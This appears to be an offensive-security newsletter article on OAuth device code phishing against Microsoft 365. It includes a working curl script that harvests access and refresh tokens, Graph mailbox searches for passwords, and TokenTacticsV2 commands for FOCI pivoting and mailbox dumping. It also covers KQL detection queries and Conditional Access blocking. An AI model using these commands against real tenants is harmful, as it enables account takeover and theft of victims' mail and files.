Device Code Phishing: Stealing Tokens via Real Login

10 min read

May 31, 2026

Site Updates

💬 Comments Available

Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.

🚧 Recent Migration

Migrated from Ghost to Astro. Spot any formatting issues? Report them!

Device Code Phishing: Stealing Tokens via Real Login

Table of contents

Contents

👋 Introduction

Hey everyone!

Last week we pulled apart SCIM, the provisioning layer sitting below the OAuth stack. This week we move one layer up and hit the authentication flow itself.

Device code flow phishing is one of the most effective account takeover techniques against Microsoft 365. The victim authenticates on a real Microsoft domain with real MFA. The attacker gets a 90-day refresh token. No lookalike page. No credential harvesting form. No suspicious redirect. Just a legitimate flow that was never designed to stop an adversary from requesting it on someone else’s behalf.

The technique went from nation-state niche to commodity in 2025. By early 2026, a Phishing-as-a-Service kit called EvilTokens had used it to compromise over 340 organizations across six countries. If your targets run Microsoft 365, you need to understand this.

This week: how RFC 8628 works, how attackers weaponize it, the Storm-2372 campaign anatomy, tools for executing it, and how to detect it.

Let’s get into it 👇

⚙️ How Device Authorization Flow Actually Works

RFC 8628 was designed for devices that can’t display a browser or accept keyboard input. Think smart TVs, IoT sensors, CLI tools. The flow assumes a secondary device, typically your phone or laptop, will complete the authorization.

Here is the legitimate version. The device POSTs to the authorization endpoint with a client_id and a scope:

POST /organizations/oauth2/v2.0/devicecode HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=54c9f794-489c-4473-8407-XXXXX&scope=openid+profile+email+offline_access+Mail.Read

The server responds with four values that define the attack surface:

{
  "device_code": "AQID...long opaque string used by the polling device",
  "user_code": "BDFHJLNP",
  "verification_uri": "https://microsoft.com/devicelogin",
  "verification_uri_complete": "https://microsoft.com/devicelogin?user_code=BDFHJLNP",
  "expires_in": 900,
  "interval": 5
}

The user_code is what the user enters. The device_code is what the attacker’s polling loop uses. These two values are cryptographically linked: when the user enters their code and authenticates, Microsoft marks the device_code as authorized and the next poll returns tokens.

The device polls the token endpoint every five seconds:

POST /organizations/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=54c9f794-489c-4473-8407-XXXXX&device_code=AQID...

Until the user authenticates, the server returns authorization_pending. Once they do, it returns an access token valid for 60 minutes and a refresh token valid for up to 90 days. The refresh token silently generates new access tokens for any Microsoft service, indefinitely, until it is explicitly revoked.

🎣 The Attack: Phishing with Real Infrastructure

The attacker’s job is to get a victim to enter the attacker-controlled user_code at microsoft.com/devicelogin. That’s it. Everything else happens on legitimate Microsoft infrastructure.

The flow from the attacker’s side:

# Step 1: Request a device code targeting the Microsoft Graph scope
# (offline_access gives the long-lived refresh token)
curl -s -X POST \
  "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  -d "scope=openid profile email offline_access Mail.Read Mail.ReadWrite Files.ReadWrite" \
  | jq '{user_code, device_code, verification_uri, expires_in}'

# Step 2: Start polling (runs in background while the phish lands)
while true; do
  response=$(curl -s -X POST \
    "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
    -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
    -d "device_code=AQID...")
  error=$(echo "$response" | jq -r '.error // empty')
  if [ -z "$error" ]; then
    echo "$response" | jq '{access_token, refresh_token}' > tokens.json
    break
  fi
  sleep 5
done

The social engineering lure delivers the user_code to the victim. Storm-2372 used WhatsApp and Signal to establish rapport as a “prominent person” relevant to the target’s field, then sent a fake Teams meeting invitation. The invitation embedded the device code in what looked like an authentication prompt for joining the call. The victim visited microsoft.com/devicelogin, entered the code, completed their own MFA challenge, and handed Storm-2372 a valid token.

QR codes are a common delivery variant. The attacker encodes verification_uri_complete into a QR code, which resolves directly to Microsoft’s legitimate login page with the code pre-filled. From the victim’s phone, the domain checks out: it’s microsoft.com. Nothing to inspect. Nothing to distrust.

The 15-minute expiry is the main operational constraint. Attackers solve it by generating codes on demand when victims click the phishing link, rather than pre-generating them in static emails.

🏢 Entra ID Context: What Storm-2372 Actually Got

Storm-2372 is a Russia-linked threat actor that ran sustained device code phishing campaigns from August 2024 through at least February 2025, targeting government agencies, NGOs, defense contractors, energy companies, and healthcare organizations in the US, Europe, and Asia.

The tokens they obtained carried the scopes requested at device code generation time. With a client ID from an existing Microsoft first-party application like Teams or Outlook, the scopes inherited are broad. Microsoft has a family of client IDs called FOCI (Family of Client IDs) where a refresh token obtained against one application can generate access tokens for other applications in the same family without re-prompting the user.

Storm-2372’s post-compromise playbook:

1. Access mailbox via Microsoft Graph API
   GET /v1.0/me/messages?$search="password"
   GET /v1.0/me/messages?$search="admin credentials"
   GET /v1.0/me/messages?$search="MFA"

2. Exfiltrate discovered credential emails

3. Send new device code phishing messages to contacts
   (from the victim's own legitimate account, propagating laterally)

4. Register an attacker-controlled device in Entra ID
   (obtains a Primary Refresh Token for persistent, MFA-resistant access)

The Primary Refresh Token (PRT) registration is the escalation step that converts a temporary token into near-permanent device-level access. A device registered in Entra ID can request tokens continuously without re-authentication, even after a password reset.

In April 2026, Microsoft documented an evolution: AI-generated lures personalized to each victim’s role (manufacturing RFPs, financial reporting templates), clipboard automation that copied the device code to the victim’s clipboard on page load, and thousands of short-lived polling nodes spun up on Railway.com to evade IP-based blocking. The 15-minute window problem was solved by dynamically generating codes when victims clicked, not in the phishing email.

🔧 Tools: TokenTacticsV2 and AADInternals

TokenTacticsV2 (updated to support v2.0 endpoints and CAE) handles the full device code cycle in PowerShell:

# Import the module
Import-Module .\TokenTactics.psd1

# Step 1: Request device code and start polling
# This prints the user_code and verification_uri, then waits
Get-EntraIDToken -Client MSGraph

# Output:
# user_code    : BDFHJLNP
# verification_uri : https://microsoft.com/devicelogin
# Waiting for user to authenticate...

# Step 2: Once victim authenticates, tokens are in $response
# Refresh the Graph token to get full scope access
Invoke-RefreshToMSGraphToken -refreshToken $response.refresh_token -domain target.com

# Step 3: Pivot to Outlook for mailbox access
Invoke-RefreshToOutlookToken -refreshToken $response.refresh_token -domain target.com

# Step 4: Pivot to Teams for internal message access
Invoke-RefreshToMSTeamsToken -refreshToken $response.refresh_token -domain target.com

# Step 5: Extract mailbox contents via Graph API
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $MSGraphToken -mailFolder inbox

# Parse any captured JWT to inspect claims
ConvertFrom-JWTtoken -Token $response.access_token

The FOCI pivot is what makes the refresh token so powerful. A token obtained via one client ID, say the Teams client, refreshes to Outlook, SharePoint, OneDrive, and Azure management APIs, all without the victim ever interacting again.

The original TokenTactics by rvrsh3ll works against v1.0 endpoints and is useful for older tenant configurations. AADInternals provides a reconnaissance function worth running before the phish:

# Confirm tenant uses Azure AD (pre-phish recon)
Invoke-AADIntReconAsOutsider -Domain target.com

# After token capture, get tenant details
Get-AADIntLoginInformation -Domain target.com

🔍 Detection and Lab Practice

Detection is structurally harder than most phishing because the authentication happens on microsoft.com. There is no malicious domain to block. The signals live in Entra ID sign-in logs.

Key log indicators to hunt in your Entra ID environment:

# KQL query for Entra ID sign-in logs (Microsoft Sentinel / Log Analytics)
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| where ResultType == 0  // successful authentication
| project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName,
          DeviceDetail, Location, ConditionalAccessStatus
| order by TimeGenerated desc

# Flag: error code 50199 followed by successful auth within 5 minutes
# (50199 = user interaction required, appears before the victim enters the code)
SigninLogs
| where ResultType == 50199
| join kind=inner (
    SigninLogs | where ResultType == 0
  ) on CorrelationId
| where datetime_diff('minute', TimeGenerated1, TimeGenerated) < 5

Additional behavioral signals from the April 2026 campaign: device registration events immediately following a device code sign-in, inbox rules created with special characters shortly after first access, and Graph API calls accessing messages from atypical geolocations.

On the defensive side, the cleanest fix is a Conditional Access policy that blocks device code flow entirely for users who do not need it. Microsoft’s step-by-step guide walks through creating the policy. The key condition is under Conditions > Authentication Flows > Device code flow, with Grant set to Block access. Start in Report-only mode to identify any legitimate device code usage before enforcing.

For a hands-on lab environment, the InternalAllTheThings Azure phishing reference covers the manual steps. The Optiv writeup documents a real engagement with Python automation included. Run both against a personal Microsoft 365 developer tenant (free via the Microsoft 365 Developer Program) to practice the full flow without touching production environments.

📡 Community Radar

Doyensec: Navigating Lax Load Balancers (May 25, 2026)

Adjacent to the identity attack surface covered this week. Doyensec documents three AWS ALB misconfigurations that survive standard CloudFront hardening: direct ALB access that bypasses WAF rules, rule shadowing where a broad path match fires before an authentication check, and IP gate bypass via alternate load balancers registered to the same target group. The post releases ELBaph, a CLI auditing tool that maps the ALB routing graph and identifies bypass paths. If your scope includes AWS-backed SaaS with ALB in front of Entra ID, the CloudFront bypass and the device code phishing techniques in this issue combine cleanly.

🎯 Key Takeaways

Device code flow phishing bypasses MFA because the victim completes the MFA challenge on behalf of the attacker. No password is transmitted. No session is hijacked. The attacker simply requests a legitimate OAuth flow and waits for the victim to authorize it. A password reset after compromise does not invalidate existing refresh tokens, which means the attacker retains access until tokens are explicitly revoked in Entra ID.

The 90-day refresh token and FOCI token pivoting are what make this an initial access technique worth prioritizing over standard credential phishing. One successful device code phish gives you persistent access to mail, files, Teams messages, and Azure management APIs, all without touching the victim again. Storm-2372 demonstrated this at scale: lateral movement happened purely through legitimate Microsoft Graph API calls from compromised mailboxes, blending into normal 365 activity.

For tooling, use TokenTacticsV2 for the full flow against modern v2.0 endpoints. It handles device code generation, token refresh, FOCI pivoting, and mailbox dumping in one module. The original TokenTactics is still useful for v1.0 tenant configurations or when you want the simpler codebase to understand what is happening under the hood. Both tools assume you are operating in an authorized engagement.

Detection starts with Entra ID sign-in logs filtered for device code authentication protocol. The combination of error 50199 followed by a successful authentication on the same CorrelationId within five minutes is a strong signal. Conditional Access blocking is the most reliable preventive control. If device code flow is not operationally required by any legitimate application in the environment, block it unilaterally and use report-only mode first to confirm nothing breaks.


Practice:


Thanks for reading, and happy hunting!

— Ruben

Other Issues

SCIM Exploitation: Hacking the Provisioning Layer
SCIM Exploitation: Hacking the Provisioning Layer

Previous Issue

SyncJacking: On-Prem AD to Cloud Admin

Next Issue

SyncJacking: On-Prem AD to Cloud Admin

Comments

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media